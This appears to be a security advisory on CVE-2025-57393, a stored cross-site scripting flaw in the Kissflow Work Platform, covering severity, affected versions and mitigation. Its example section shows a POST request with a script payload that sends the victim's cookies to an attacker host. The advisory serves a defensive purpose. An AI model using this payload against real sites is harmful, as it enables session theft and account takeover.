Overview
In the world of cybersecurity, vulnerabilities are an inevitable part of any software system. One such vulnerability has been identified in the Kissflow Work Platform affecting a range of versions of the Kissflow Application. CVE-2025-57393 is a stored cross-site scripting (XSS) vulnerability that allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Given the popularity and wide usage of the Kissflow platform, this vulnerability could potentially affect a large number of organizations globally, leading to system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-57393
Severity: High (8.8 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage
Affected Products
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Product | Affected Versions
Kissflow Work Platform Kissflow Application | 7337 Account v2.0 to v4.2
How the Exploit Works
The vulnerability arises from the application’s failure to adequately sanitize user-supplied input. An attacker can take advantage of this flaw by crafting a malicious payload containing JavaScript code. This payload is then submitted to the application, where it is stored and later rendered in the user’s browser. When an unsuspecting user visits the affected page, the malicious script is executed, leading to a potential system compromise or data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. In this case, the attacker is submitting a malicious payload via a POST request to a vulnerable endpoint on the target server.
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<script>new Image().src='http://attacker.com/collect.php?c='+document.cookie;</script>" }In this example, the malicious payload is a script that sends the user’s cookies to the attacker’s server. This is just an example; the actual payload could be any script designed to exploit the vulnerability.
Prevention and Mitigation
Users of the Kissflow Work Platform are advised to apply the vendor patch immediately to mitigate this vulnerability. In cases where immediate patching is not possible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These tools can help detect and block malicious payloads, reducing the risk of exploitation. However, these are just temporary measures, and updating the software remains the most effective way to secure your systems against this vulnerability.
